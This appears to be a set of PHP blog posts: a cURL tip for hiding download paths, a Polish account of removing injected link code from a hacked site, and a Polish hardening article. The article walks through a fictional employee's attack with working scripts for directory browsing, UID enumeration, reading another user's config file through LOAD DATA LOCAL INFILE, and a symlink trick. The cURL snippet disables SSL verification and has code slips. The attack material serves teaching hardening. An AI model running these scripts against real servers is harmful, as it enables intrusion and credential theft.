How to hide real path of downloading files in PHP script?

It’s another one simple tip for php programmers. Very often, programmer wants to hide the real path of downloading file. Why? For example: the file has to be limited for users or required authentication. If user knows the real location on server, he can download files without any limits or sharing it for others. It’s not expected effect of our script.

Here’s very simple example, how to hide real path of files. We uses cURL for that:

$ch = curl_init($file)); //$file - link to file; http://sth.com/file.zip
 curl_setopt($ch, CURLOPT_NOBODY, true);
 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
 curl_exec($ch);
 $retcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); //getting the http code, does file exist?
 curl_close($ch);

 if($retcode == 200) //if everything went OK
 {
   header("Content-Description: File Transfer"); 
   header("Content-Type: application/octet-stream"); 
   header("Content-Disposition: attachment; filename=\"getSecureName($file)\""); //The getSecureName is described bellow
   readfile ($file); //give file for user
 }

*getSecureName( ); – it’s an imaginary method which returns secure file’s name. The default name is address http of file; f.e: (http%3A%2F%2Fdomain.com%2Fsecret%2Fpath%2Ffile.zip (encoded)).

How script works? I suggest to keep the url of files in the database. The script should select file by ID from $_GET[‚id’] (f.e: http://domain.com/download.php?id=2). In the meantime, we should check the user’s permission to download (authentication, limits or whatever else). It’s important to set the correct headers, because it lets to download file for user.

In summary:

  1. The script gets file URL by ID
  2. We should check if the user can download file (authentication, limits)
  3. The script downloads file (readfile) in memory and give it back to user

User cannot know the real location of file. In http’s headers is only our script address.

Sorry for my English. It’s only my second post in this language, so I’m still learning. If something was not clear, give me feedback in comments, please 🙂

Malware na WWW

Zgodzicie się ze mną, bądź nie, ale życie programisty często bywa monotonne. Czasami pracuje się przez wiele miesięcy z jedną technologią nad jednym projektem. Passę monotonności w moim przypadku przerwało bardzo ciekawe zadanie. Od klienta dowiedziałem się, że „na stronie jest wirus”. Nie wiedziałem co to znaczy, termin „wirus”, często jest nadużywane, a gdy jakiś system nie zachowuje się tak jak byśmy tego chcieli, zwalamy to na „wirusa”. Myślałem, że w tym przypadku jest podobnie, jednak okazało się, że „wirus” wcale nie było w tym przypadku nadużyciem.

Zrobiłem mini wywiad z klientem, zapytałem się co jest nie tak z tą stroną, od jak długo etc. Właściciel nie był osobą związaną z IT więc uzyskanie niektórych informacji było kłopotliwe. Kod strony był pisany 2-3 lata temu. Kod leżał luźno bez repozytorium i ogólnie nikt nic nie wie.
Po wejściu na stronę otwierało się ładne czerwone okno od Google z informacją, że strona rozsyła spam, padła ofiarą hakera. Jeśli przeszło się na stronę, nie działo się nic specjalnego, poza okienkiem do logowania wywołanym przez autoryzację z htaccess. W pliku .htaccess strony nie było nic, co wyglądało na autoryzację.
Zajrzałem w źródło strony i poznałem przyczynę. Na samym początku kodu html był oto taki kod:

http://www.zenasubaruteam.it/forumITA/counter.php?id=12330445

Podejrzewam, że właściciel zenasubaruteam.it nic nie wie o tym skrypcie. Jest on zabezpieczony logowaniem z htaccess, co było powodem okienka na stronie u klienta. Pomyślałem, że problem rozwiązany.
Dokopałem się do pliku z widokiem, jednak nie było w nim nic takiego. Wtedy dowiedziałem się, że ta treść była wstawiana dynamicznie w kod strony.
Projekt nad, którym pracowałem był dość rozbudowany więc przejrzenie wszystkich *.js, było czasochłonne. Przejrzałem wszystkie includowane na starcie strony i wydawały się OK. Jednak jak przyjrzałem się im drugi raz to, aż się uśmiechnąłem 🙂 Na pozór normalny plik ze skryptem *.js. Moją uwagę przykuł pasek poziomy do przewijania ekranu, który był bardzo krótki. Przewinąłem maksymalnie w prawo i po około 30 tabulatorach zobaczyłem oto taki fragment kodu :

document.write('<a href="http://www.zenasubaruteam.it/forumITA/counter.php?id=12330775">http://www.zenasubaruteam.it/forumITA/counter.php?id=12330775</a>');

Imho sprytny sposób na ukrycie kodu. Gdybym robił to osobiście, składałbym link z liter z tablicy, żeby nie można było go wyszukać za pomocą ctrl+f.
Usunąłem kod ze wszystkich miejsc gdzie był, w między czasie znalazłem jeszcze takie fragmenty kodu w plikach *.php:

if(empty($ie)) {$ie = "<a href="http://www.zenasubaruteam.it/forumITA/counter.php?id=12330555">http://www.zenasubaruteam.it/forumITA/counter.php?id=12330555</a>";echo $ie;}

Po usunięciu takich i podobnych fragmentów kodu z kilkunastu plików, nadal nie miałem pewności, że wszystko zostało usunięte. Nie miałem z czym porównać kodu bo nie był wersjonowany. Próbowałem ustalić jak doszło do włamania. Nie musiałem długo szukać. Wystarczyło przejrzeć logi FTP; w pewnym dniu, ktoś po prostu się zalogował, pobrał kilkanaście plików i je ponownie wgrał. Były to te same pliki, w których znalazłem obcy kod. Nie znam się za bardzo na analizie po włamaniowej, próbowałem ustalić co to za adres IP; wskazało na Berlin, kilka godzin później był już nieaktywny.

Wnioskiem z logów FTP było to, że atak nie musiał nastąpić przez podatność w kodzie strony (chociaż prawdopodobnie byłoby co łatać). Ktoś się zalogował za pierwszym razem, pobrał plik, odesłał go sekundę później, tą czynność powtórzył dla kilkunastu innych plików. Dopiero wtedy do mnie doszło, że faktycznie mogło to byś za sprawą wirusa na komputerze właściciela strony. Szukając dalej wspólnych mianowników sprawy; zauważyłem, że wszystkie zainfekowane pliki były *.js lub jeśli były *.php, to miały w nazwie ciąg znaków „web” lub „page”. To potwierdziło mnie w tym, wybierając tak „głupią” metodę na ukrycie backdoor’a – mógł zrobić tylko wirus. Prawdopodobnie gdyby ukrywał to człowiek ich szukanie zajęłoby mi dużo więcej czasu.
Pogooglałem, znalazłem trochę informacji o tych tajemniczych skryptach zenasubaruteam.it (akurat na niemieckich forach). Treść była ta sama, różniła się tylko końcowym ID. Takie informacje w połączeniu z hasłami dostępowymi do strony przesłanymi plaintext w mailu tylko mnie upewniła. Warto zaznaczyć, że hasła były nadzwyczajnie silne (nazwadomeny123). Więc nie wykluczone, że do ataku doszło poprzez atak słownikowy lub bruteforce. Tego nie mogłem ustalić; nie miałem dostępu do komputera właściciela.

Czy sprawę warto zgłaszać na policję? Sam nie wiem; imho nie warto. Atak nie był kierowany konkretnie na witrynę klienta. Celem było zainfekowanie jak największej ilości stron. Autor „tworu”, który infekował strony pewnie nawet nie wie ile ma zdobyczy. Na pewno przewidział, że ktoś prędzej czy później się tym zainteresuje i pewnie zdążył się odpowiednio schować za jakimś proxy.
Zgłosiłem stronę w Google o ponowne zweryfikowanie, czy jest już wolne od wirusów; rozpatrzyli to pozytywnie. Klient zadowolony, ja również.

Podsumowując, mam nadzieję, że wszyscy, którzy mają podobny problem wygooglają ten wpis i zaoszczędzi im to kilka godzin pracy.  Z chęcią przeczytam w komentarzach jakie macie metody na walkę z podobnymi problemami.

(Nie) bezpieczeństwo konfiguracji PHP

Wstęp

Artykuł ten będzie dotyczył wybranych przeze mnie zagadnień z zakresu bezpieczeństwa związanego z używaniem PHP na serwerach. Treści tutaj zawarte mają charaktery wyłącznie edukacyjny, autor nie ponosi odpowiedzialności za nieodpowiednie wykorzystanie wiedzy z tego artykułu.

o Apache

Apache to serwer HTTP dostępny pod wieloma platformami. Jest jednym z najpopularniejszych softów serwerowych dostępnych na rynku, często łączony z PHP(mod_php) staje się polem do popisu dla wielu administratorów. Warto podkreślić, że Apache jest z nami już ponad 15 lat i jest projektem open source. Chroot (ang. Change root), jest poleceniem uniksowym, które uruchamia program w wydzielonym środowisku, ze zmienionym katalogiem głównym. Bezpieczniejszą alternatywą chroot jest polecenie jail, działające na platformach FreeBSD. Uruchomienie Apacha w środowisku chroot znacznie poprawia bezpieczeństwo naszego systemu operacyjnego. Zakładając najgorsze, że włamywacz przejmuję kontrolę nad Apache, może manewrować tylko w wydzielonym fragmencie dysku. Dostęp do pozostałych plików systemowych (poza wydzielonym środowiskiem) staje się bardzo utrudniony, agresor musiałby posiadać uprawnienia super użytkownika. W nowym środowisku nie musimy instalować powłoki, co dodatkowo utrudni działania atakującego. Instalacja Apache w nowym katalogu głównym ogranicza się do kilku prostych kroków:

  • Stworzenie nowego użytkownika
  • Stworzenie nowej struktury katalogów potrzebnej dla nowego Apache
  • Przekopiować wszystkie biblioteki i pliki, z których korzysta serwer, w zamknięciu w wydzielonym środowisku nie będzie miał dostępu do katalogów wyżej niż swój katalog główny (kopiując pliku musimy pamiętać o usunięciu z niektórych informacji o pozostałych użytkownikach np. z /etc/passwd).
  • Uruchomić serwer w nowym wydzielonym środowisku

Sam mechanizm zamknięcia Apache w nowym katalogu głównym nie daję nam gwarancji bezpieczeństwa, ale jest jednym z podstawowych kroków do jego uzyskania.

Kolejnym ważnym elementem w bezpieczeństwie naszego serwera jest dobór modułu MPM(ang. Multi Processing Modules), moduły te odpowiadają w jaki sposób nasz serwer będzie zarządzał zapytaniami. Przekładając bezpieczeństwo nad wydajnością powinniśmy wybrać moduł prefork. Moduł ten był dostępny już w pierwszej wersji Apache, działa on w taki sposób, że do obsługi zapytań do serwera używa oddzielnych procesów, co znacznie zwiększa zużycie pamięci RAM, ale zapewnia większą stabliność. Prefork jest modułem jednowątkowym, co oznacza, że doskonale nadaje się na komputery z jednym procesorem (przy obecności dwóch lub większej liczbie procesorow, moduł ten będzie obciążał znacząca jeden procesor, nie wykorzystując w pełni możliwości pozostałych). Ogromną zaletą jest natomiast fakt, że jeden niestabilny proces nie powoduję uszkodzeń w działaniu systemu (całkowicie odwrotnie niż w module worker).
Jeśli bardziej niż na bezpieczeństwie zależy ci na wydajności powinieneś zainteresować się modułem worker, który działa zupełnie inaczej niż wyżej opisany moduł prefork.
Moduł worker zapewnia większą wydajność systemu, efektywniej wykorzysta parametry komputera, na którym pracuję, ale jest mniej stabilny i bezpieczny. Jeden niestabilny proces może uszkodzić pracę całego serwera.

Tak więc podsumowując powinniśmy się zdecydować na moduł prefork, ze względu na zapewnienie większego bezpieczeństwa. Apache dysponuję jeszcze innymi MPM, które są szczegółowo opisane w dokumentacji serwera.

Domyślna konfiguracja Apache nie jest wystarczająco bezpieczna jeśli chcemy dołączać kody skryptu z plików *.inc. Standardowo w konfiguracji serwera nie ma żadnej dyrektywy, która zabroniłaby czytać tych plików. Często w nich znajdują się bardzo istotne informację: algorytm czy nawet hasła dlatego powinniśmy zwrócić szczególną uwagę na te pliki. Chcąc uchronić się przed niepowołanym dostępem do tych plików, musimy otworzyć plik konfiguracyjny naszego Apache i dodac do niego kilka linijek kodu:

Order allow,deny
Satisfy All

Teraz wystarczy tylko ponownie wystartować naszego deamona. Tagi files informują, że mamy na myśli pliki z rozszerzeniem inc. Dyrektywa Satisfy mówi, że ta konfiguracja ma dotyczyć wszystkich. Pliki .httaccess są domyślnie zabronione do czytania z poziomu przeglądarki, w prosty sposób możemy w nich zbanować dane IP, zabronić otwierania jakiegoś pliku lub katalogu, możemy zrobić bardzo wiele z każdym żadaniem HTTP. Czasami może nam to zaoszczędzić wiele zachodu w pisaniu kodu np. Jakiegoś systemu logowania, systemu banowania i wiele innych.

Safe_mode

Safe_mode (ang. Tryb bezpieczny) gdy opcja ta jest włączona, PHP sprawdza czy właścicielem skryptu wykonywanego jest właściciel pliku, na których chce operować funkcja lub czy jest to katalog tego samego użytkownika. Wszystkie sprawy konfiguracyjne dotyczące safe_mode ustawiamy w pliku konfiguracyjnym PHP (php.ini). Omówię teraz dyrektywy dostępne dla trybu bezpiecznego.

  • safe_mode – przyjmuję wartości boolean (On/Off). Jeśli tą dyrektywę ustawimy na On, tryb będzie weryfikował właścicieli po UID.
  • safe_mode_gid – przyjmuję wartości jak powyższa dyrektywa, ustawienie wartości On, skutkuję mniej restrykcyjną weryfikację właścicieli, po GID. Wartość Off, mówi trybowi o weryfikacji po UID.
  • safe_mode_include_dir – Jako parametr przyjmuję przedrostki katalogów, do których nie będą weryfikowanie właściciele po UID/GID. Przykład: wartość /home/use będzie dotyczyła wszystkich katalogów w home, których nazwa rozpoczyna się od use, czyli będą to /home/user jak i /home/users. Jeśli mamy na myśli konkretny katalog, jego nazwę musimy zakończyć „/”.
  • safe_mode_exec_dir – Jako parametr przyjmuję nazwy katalogów, w których znajdują się programy, które będzie można uruchomić poprzez funkcje wykonywalne (system, exec, etc).
  • safe_mode_allowed_env_vars – Jeśli zostawimy tą dyrektywę pustą, użytkownik będzie mógł zmieniać wszystkie zmienne środowiskowe. Użytkownik, może zmieniać wartości zmiennych środowiskowych, tylko tych, których przedrostki są ustawione w tej dyrektywie.
  • safe_mode_protected_env_vars – Ta dyretywa zawiera listę zmiennych środowiskowych oddzielonych przecinkami, których użytkownik końcowy nie może zmienić za pomocą putenv. Te zmienne są zawsze chronione nawet jeśli safe_mode_allowed_env_vars pozwala na ich zmianę.

Poniżej przedstawię wszystkie funkcję, które są ograniczane przez tryb bezpieczny:

  • dbmopen()
  • dbase_open()
  • filepro()
  • filepro_rowcount()
  • filepro_retrieve()
  • pg_lo_import()
  • posix_mkfifo()
  • putenv()
  • move_uploaded_file()
  • chdir()
  • dl()
  • shell_exec()
  • exec()
  • system()
  • passthru()
  • popen()
  • fopen()
  • mkdir()
  • rmdir()
  • rename()
  • unlink()
  • copy()
  • chgrp()
  • chown()
  • chmod()
  • touch()
  • symlink()
  • link()
  • apache_request_headers()
  • header()
  • PHP_AUTH_variables
  • highlight_file()
  • show_source()
  • parse_ini_file()
  • set_time_limit()
  • max_execution_time
  • mail()
  • session_start()

Wszystkie funkcje z prefixami:

  • ifx_
  • ingres_
  • mysql_

Jak widzimy, trochę tego jest, jednak twórcy PHP postanowili zrezygować z safe_mode w najnowszej wersji PHP. Warto wspomnieć, że restrykcje safe_mode nie obejmują wykonywalnych plików.

Open_basedir

Jest to kolejna dyrektywa z PHP. Przyjmuje wartość typu string, parametrem muszą być prefiksy katalogów. Open_basedir, będzie strzegło by użytkownik PHP mógł mieć dostęp wyłącznie do katalogu(ów) zdefiniowanego w tej dyrektywie. Podobnie jak safe_mode, konfigurujemy ją w pliku php.ini.
Przykład:

open_basedir = /tmp/:/usr/share/pear/:/usr/share/phpmyadmin

Dwukropek oznacza separację pomiędzy kolejnym katalogiem, który chcemy zdefiniować. Dzięki takiemu parametrowi, pozwolimy użytkownikowi na dostęp do katalogów:

/tmp
/usr/share/pear
/usr/share/phpmyadmin

Podsumowanie safe_mode i open_basedir

Konfiguracja safe_mode i open_basedir powinna się zakończyć ponownym wystartowaniem deamona HTTP.
Odpowiednio skonfigurowane powyższe dyrektywy, mogą podnieść bezpieczeństwo serwera, jednak nie powinniśmy polegać wyłącznie na nich, w dalszej części opiszę inne funkcjonalności PHP i Apacha, które pomogą uronić nasz serwer przed przejęciem.

Scenariusz

Na potrzeby artykuły wymyśliłem mały scenariusz, żeby można było lepiej zrozumieć cele i przykłady ataków i zabezpieczeń.
Jako przykład, posłużą nam dwie fikcyjne postacie: Szef pewnej firmy Jan, oraz jego nowy pracownik Zygmunt.
Firma Jana zajmuje się sprzedażą palenisk pod kominki. Jan w przeszłości skończył studia informatyczne więc miał jako takie obycie z komputerami, miał też na tyle umiejętności by stworzyć stronę internetową firmy. Jan jest człowiekiem bardzo zabieganym i nie ma zbytnio czasu, więc strona firmowa jest oparta o darmowy CMS Joomla i bazę danych MySQL.
Strona jest umieszczona na jednym z firmowych serwerów w firmie.
Zygmunt pracuję u Jana od pół roku. Tydzień temu, Zygmunt, poprosił szefa o konto na firmowym serwerze. Jan się zgodził, od tej pory konto Zygmunta figuruję pod pseudonimem ”zigi”.
Jan jest bardzo złym szefem, Zygmunt nie dostaje wypłaty już od dwóch miesięcy, szef ciągle obiecuje, że wynagrodzenie ureguluje w następnym miesiącu. Zdesperowany Zygmunt postanawia udowodnić szefowi, że nie ma z nim żartów, a wypłatę powinien otrzymać jak najszybciej. Zdesperowany pracownik wpada na pomysł przejęcia kontroli nad stroną internetową firmy. Zygmunt włącza komputer i …
Dalsza część bajeczki będzie rozwijana w poszczególnych rozdziałach artykułu.

Rozeznanie w środowisku

… robi rozeznanie w środowisku serwerowym. Zigi przed rozpoczęciem działania chce zorientować się z czym ma do czynienia. Być może na serwerze znajdują się stare dziurawe softy, lub niewłaściwa konfiguracja pozwala na wykorzystanie jakiejś luki.
Zigi może dowiedzieć się wielu ciekawych rzeczy o serwerze. Bardzo interesująca będzie dla nas wersja PHP. Twórcy PHP ukryli Easter Egg, które m.in zdradza wersje PHP. Użycie tego nie będzie trudne, wystarczy zlokalizować dowolny skrypt na serwerze i dokleić do niego taki ciąg znaków :

?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

Być może mamy szczęście i naszym oczom ukaże się jeden z kilku obrazków. Poniżej przedstawiam tabelkę, która rozwieje wątpliwości co do wersji PHP i obrazków easter egg.

  • Niebieski słoń – 5.3.0
  • Rozmazane logo PHP – 5.1.3 – 5.2.13
  • Królik – 5.0.0 – 5.0.3
  • Czarny pies – 4.3.11 – 4.4.6 oraz 5.0.4 – 5.1.2
  • Brązowy pies – 4.3.0 – 4.3.10
  • Twarz z frytkami – 4.0.0 – 4.2.3

Niespodzianek easter egg jest więcej, oto kody :

?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 – oryginalne logo PHP
?=PHPE9568F35-D428-11d2-A769-00AA001ACF42 – logo zend
?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 – development credit

Janek nie okazał się cwanym administratorem i zigi zna już wersję PHP – 5.3.
To nie był jedyny sposób na poznanie odpowiedzi na pytanie, które zadał sobie zigi. Istnieje mnóstwo innych sposobów na poznanie wersji PHP, m.in.

  • analiza nagłówków HTTP (X-Powered-By)
  • przeczytanie stopki w różnych błędach np. 404
  • wywołać funkcję phpinfo
  • testowanie na kodzie, pisać skrypty charakterystyczne dla konkretnej wersji PHP i analizować czy działają poprawnie

1:0 dla Zygmunta. Przeanalizujmy co mógł zrobić Janek, by utrudnić robotę zigiemu.
Administrator mógł zainteresować się dyrektywą expose_php w php.ini. Dyrektywa ta służy do względnego ukrywania wersji o PHP. Przyjmuję jeden argument typu boolean (On/Off).
Gdyby Janek ustawił wartość Off, na pewno zigi miałby nieco pod górkę. Tzw. Easter egg nie zadziałałyby, również sposób analizy nagłówka HTTP byłby spalony.
Jeśli administratorowi, naprawdę zależało by na dyskrecji co do wersji PHP, mógłby też ustawić odpowiednio dwie dyrektywy w pliku konfiguracyjnym Apache.

ServerTokens Prod
ServerSignature Off

Dyrektywa ServerTokens informuję serwer na ile ma sobię pozwolić w kwestii wyjawniania wersji serwera i systemu. Parametr Prod, jest tutaj najbardziej restrykcyjny, pozwoli jedynie na wyświetlenie nazwy serwera, bez wersji. W naszym przypadku samo „Apache”. Oto opis innych wartości dla tej dyrektywy :
Major – wyświetli wersję nazwę i wersje serwera np. Apache/2
Minor – trochę bardziej szczegółowa niż Major, wyświetli: Apache/2.0
Min/Minimal – wyświetli całą wersję serwera Apache/2.0.41
OS – Oprócz wersji, serwer wyświetli nam również informację o systemie np. Apache/2.0.41 (Unix)
Full (lub pozostawiona pusta) – wyświetli informacje tzw „full wypas 😀 ”. Np. Apache/2.0.41 (Unix) PHP/4.2.2 MyMod/1.2

Dyrektywa ServerSignature przyjmuję wartość typu boolean (On/Off), informuję ona serwer, czy wklejać stopkę z informacją o wersji serwera i systemie. Kilka metod zigiego by w tym momencie zawiodło, gdyby Janek zastosował w/w metody. Zygmunt z pewnością napisałby skrypt, który drukowałby wiele informacji o konfiguracji PHP na tym serwerze, mógłby wyglądać on np. Tak:

<?
echo phpinfo();
?>

Byłoby to dobre rozwiązanie, zigi dowiedziałby się bardzo wielu rzeczy. Tu z pomocą dla Janka przyszłaby dyrektywa disable_functions. Służy ona do blokowania wybranych funkcji. Dyrektywe tą ustawiamy w pliku konfiguracyjnym PHP (php.ini), jako wartość, przyjmuję ona właśnie nazwy funkcji (jeśli jest ich wiele, oddzielamy przecinkami).
Gdyby w php.ini widniał wpis
disable_functions = phpinfo
Skrypt zigiego okazałby się klapą, PHP nie pozwoliłoby użyć tej funkcji.

Wyjawnienie wersji PHP/Apache nie jest śmiertelnym grzechem. Moglibyśmy poświęcić odpowiednio sporo czasu, testując serwer i PHP i też uzyskalibyśmy informację, które nas interesują.
Jak wiemy, Zygmuntowi zależy na przejęciu kontroli nad firmową stroną internetową. Zigi poświęcił wiele czasu na przeglądanie owej strony, poznał po stopce skrypt na jakim jest oparta. Zigi nie czekając ani chwili dłużej pobrał tą samą wersję skryptu i zainstalował na swoim koncie. Wkrótce zorientował się, wnikliwie analizując budowę CMS, że w pliku configuration.php jest zapisane jawnie hasło i login do bazy danych. Od tej pory celem ataku Zygmunta będzie właśnie ten plik.
Zigi nadal przeprowadza rozeznanie w środowisku serwerowym, chce poznać strukturę katalogów i uprawnienia do nich. W tym celu Zygmunt mógłby uploadować jakiegoś gotowego php shella, jednak zigi jest bardziej kreatywny i wykombinował taki skrypt:

<?
error_reporting(E_ALL);
ini_set('log_errors', '0');
ini_set('display_errors', '1');
$dir = $_GET['d'];
$x = glob($dir.'/*');
echo "</pre>
<pre>";

if($x) {
foreach ($x as $e){
 $sinfo = lstat($e);
 $perms = fileperms($e);
 if (($perms &amp; 0xC000) == 0xC000)$info = 's ';
 if (($perms &amp; 0xA000) == 0xA000)$info = 'l ';
 if (($perms &amp; 0x8000) == 0x8000)$info = '- ';
 if (($perms &amp; 0x6000) == 0x6000)$info = 'b ';
 if (($perms &amp; 0x4000) == 0x4000)$info = 'd ';
 if (($perms &amp; 0x2000) == 0x2000)$info = 'c ';
 if (($perms &amp; 0x1000) == 0x1000)$info = 'p ';
 $info .= (($perms &amp; 0x0100) ? 'r' : '-');
 $info .= (($perms &amp; 0x0080) ? 'w' : '-');
 $info .= (($perms &amp; 0x0040) ?
 (($perms &amp; 0x0800) ? 's' : 'x' ) :
 (($perms &amp; 0x0800) ? 'S' : '-'));
 $info .= (($perms &amp; 0x0020) ? 'r' : '-');
 $info .= (($perms &amp; 0x0010) ? 'w' : '-');
 $info .= (($perms &amp; 0x0008) ?
 (($perms &amp; 0x0400) ? 's' : 'x' ) :
 (($perms &amp; 0x0400) ? 'S' : '-'));
 $info .= (($perms &amp; 0x0004) ? 'r' : '-');
 $info .= (($perms &amp; 0x0002) ? 'w' : '-');
 $info .= (($perms &amp; 0x0001) ?
 (($perms &amp; 0x0200) ? 't' : 'x' ) :
 (($perms &amp; 0x0200) ? 'T' : '-'));
 if(is_Dir($e))
 echo $info.' GID:'.$sinfo['gid'].' UID:'.$sinfo['uid']." <a href="?d=$e">$e</a>
";
 else
 echo $info.' GID:'.$sinfo['gid'].' UID:'.$sinfo['uid']."$e
";
}
}else echo "access denied";
?>

<?
 $server = array(
 'uname'=&gt;php_uname(),
 'loaded modules'=&gt;implode(', ', get_loaded_extensions()),
 'user'=&gt;get_current_user(),
 'uid'=&gt;getmyuid(),
 'open basedir'=&gt;ini_get('open_basedir'),
 'safe_mode'=&gt;ini_get('safe_mode'),
 'allow remote url'=&gt;ini_get('allow_url_fopen'),
 'disable functions'=&gt;ini_get('disable_functions')
 //i co jeszcze dusza zapragnie
 );
 print_r($server);
?>

Zygmunt używając tego kodu, może swobodnie (na ile pozwala mu konfiguracja serwera) poruszać się po katalogach, sprawdzać ich zawartość i uprawnienia.
Atakujący już posiadł wstępną wiedzę na temat konfiguracji, teraz może przejść do kolejnego kroku – ataku.
W tej części artykułu opiszę przykładowe, wybrane przeze mnie ataki wcielając się w osobę Zygmunta. Nasz haker, jak już wcześniej pisałem na konto na tym samym serwerze co Janek. Zygmunt zobaczył w swoim katalogu domowym katalog „public_html”. Chwile pomyślał, wywołał w przeglądarce adres : stronka.pl/~zigi/, a jego oczom ukazał się index, który wcześniej przygotował. Zigi już wiedział, że na serwerze działa moduł Apache userdir. Dyrektywy allow_url_include i allow_url_fopen są wyłączone, więc haker ma troszeczkę utrudnione zadanie, nie może się odwoływać do pliku konfiguracyjnego podając lokalizację HTTP, musi poznać ścieżkę systemową. Tylko jaki administrator może mieć login? Który jest przecież niezbędny do określenia lokalizacji.

Zygmunt na kolanie napisał jednolinijkowy skrypt, w którym funkcja include(), miała wczytać plik w którym trzymane są informacje o użytkownikach w systemach linux (/etc/passwd). Po wczytaniu pliku, zigi odgadłby login administratora. Oto skrypt Zygmunta:

Atak i obrona

W tej części artykułu opiszę przykładowe, wybrane przeze mnie ataki wcielając się w osobę Zygmunta. Nasz haker, jak już wcześniej pisałem na konto na tym samym serwerze co Janek. Zygmunt zobaczył w swoim katalogu domowym katalog „public_html”. Chwile pomyślał, wywołał w przeglądarce adres : stronka.pl/~zigi/, a jego oczom ukazał się index, który wcześniej przygotował. Zigi już wiedział, że na serwerze działa moduł Apache userdir. Dyrektywy allow_url_include i allow_url_fopen są wyłączone, więc haker ma troszeczkę utrudnione zadanie, nie może się odwoływać do pliku konfiguracyjnego podając lokalizację HTTP, musi poznać ścieżkę systemową. Tylko jaki administrator może mieć login? Który jest przecież niezbędny do określenia lokalizacji.

Zygmunt na kolanie napisał jednolinijkowy skrypt, w którym funkcja include(), miała wczytać plik w którym trzymane są informacje o użytkownikach w systemach linux (/etc/passwd). Po wczytaniu pliku, zigi odgadłby login administratora.

Niestety zamiast loginów ujrzał komunikaty od trybu bezpiecznego, ograniczało go również open_basedir. Nasz haker powinien wpaść na inny pomysł, tutaj z pomocą przychodzą nam funkcję PHP z rodziny POSIX, a konkretnej posix_getpwuid.

posix_getpwuid, jako wartość zwraca podstawowe informację o użytkowniku na podstawię UID”u, który przyjmuję jako parametr. UID Janka jest dla nas tajemnicą, wiemy natomiast, że jest to liczba dodatnia i całkowita. Zygmunt przygotował skrypt, który sprawdzi po kolei numery UID za nas, jeśli mamy szczęście to trafimy na właściwy ;- )

<?php
for($i=0;$i&lt;65000;$i++){
 if($x = posix_getpwuid($i)){
 print_r($x);
 echo "</pre>";
 }
}
?>

Wywołując skrypt na ekranie pojawiły nam się informację o użytkownikach, którzy mają UID z przedziału z pętli, zigi szybko zorientował się, że administrator ma nick janek. Dodatkowo dowiedzieliśmy się jaki Janek ma GID, nazwę katalogu domowego oraz powłokę.

Oto takim sposobem Zygmunt poznał ścieżkę systemową do pliku konfiguracyjnego strony, /home/janek/public_html/configuration.php.

Jak janek mógł się zabezpieczyć przed powyższym skryptem?

Administrator mógł to zrobić na dwa sposoby, pierwszy z nich to odpowiednie skompilowanie PHP, bez funkcji POSIX”owych (–disable-posix. ).
Drugim sposobem było dopisanie funkcji do dyrektywy disable_functions w pliku konfiguracyjnym PHP.

Krótki opis kilku ciekawszych funkcji POSIX”owych :

  • posix _ getgrgid – zwraca informacje na temat grupy po ID
  • posix _ getgrnam – zwraca informacje na temat grupy po nazwie
  • posix _ getlogin – zwraca nazwę użytkownika
  • posix _ getpid – zwraca PID
  • posix _ getpwnam – zwraca informacje o użytkowniku po nazwie
  • posix _ getpwuid – zwraca informacje o użytkowniku po ID
  • posix _ kill – wysyła sygnał do proces
  • posix _ uname – zwraca podstawowe informacje o systemie

Cel został zlokalizowany, czas na odczytanie pliku. W PHP istnieje do tego wiele funkcji readfile, require_once, include oraz wiele innych. Zigi, bogatszy w doświadczenie po ostatnim skrypcie jest pewien, że odczytanie pliku konfiguracyjnego poprzez wcześniej wspomniane funkcje skończy się masą błędów na ekranie, musi więc spróbować przechytrzyć swojego przeciwnika.

Zygmunt spróbuję posłużyć się bazą danych do wczytania pliku konfiguracyjnego. Atak, który za chwilę przeprowadzi zigi, będzie opierał się o polecenie LOAD DATA LOCAL INFILE w bazie MySQL.
Jest to polecenie, które pozwala wczytać treść pliku do bazy danych. Zapytanie, które wczytałoby dany plik do tabeli opiera się o następującą składnie:

LOAD DATA LOCAL INFILE 'nazwapliku' INTO TABLE `nazwatabeli`;

Dla naszego hakera jest to okazja, by wczytać plik konfiguracyjny Joomli do swojej bazy danych. Zygmunt tworzy więc tabele w swojej bazie danych z jednym polem „content” typu varchar(255), w której będą przechowywane kolejne wiersze pliku. Kolejnym krokiem zigiego, będzie napisanie następującego skryptu:

<?
$f = $_GET['f'];
if(!mysql_connect('localhost','zigi','zigi123')) echo "nie polaczono";
if(!mysql_select_db('mijagi')) echo "nie wybrano";
mysql_query("LOAD DATA LOCAL INFILE '$f' INTO TABLE `file`;");
$r = mysql_query("SELECT * FROM `file`;");
while($x = mysql_fetch_assoc($r))
 echo $x['content'].'';
mysql_query("TRUNCATE TABLE `file`");
mysql_close();
?>

Działanie skryptu jest proste, połączy się z baza danych, wczyta parametr z zmiennej GET do bazy danych. Wyświetli całą treść tabeli, następnie ją wyczyści i zakończy swoje działanie.
Zygmunt aż się cały spocił, na ekranie ukazała się treść pliku konfiguracyjnego. Teraz wystarczy tylko odszukać odpowiednią linijkę z loginem i hasłem.
Zigi ma teraz dostęp do bazy danych strony, może usunąć ją, zapisać u siebie na dysku czy dodać newsa. Jednak to dla niego nie koniec zabawy, haker jest nadal żądny zemsty, pragnie wyrządzić większe szkody.

Jak Janek mógł się zabezpieczyć? W prosty sposób, wystarczyłoby wyłączyć dyrektywęmysqli.allow_local_infile, w pliku konfiguracyjnym PHP. Gdyby wcześniej wspomniana dyrektywa była ustawiona na Off, Zygmunt obszedłby się tylko błędem na ekranie.

Podsumowując jest to bardzo poważne niedopatrzenie ze strony administratora, którego tak łatwo można było uniknąć. Często tą metodę wykorzystuje się w lukach typu SQL INJECTION. Jednak gdyby powyższy kod z wczytaniem pliku do bazy zawiódł Zygmunta, miał on przygotowany jeszcze jeden sposób na próbę odczytu danych konfiguracyjnych. Sposób ten dotyczyłby użycia funkcji symlink, która tworzy dowiązania do katalogów. Najłatwiej będzie wytłumaczyć ten atak na przykładzie skryptów. Oto pierwszy z nich:

<?
symlink("q/w/e/r/t/y", "alfa");
symlink("alfa/../../../../../../", "omega");
while (1) {
 unlink("alfa");
 symlink(".", "alfa");
}
?>

Pierwsze dwie linijki tworzą dowiązania symboliczne, pierwsze z nich jest do wcześniej przygotowanej struktury katalogów q/w/e/r/t/y. Drugie dowiązanie jest do sześciu katalogów wstecz od ostatniego w naszej wcześniejszej strukturze.
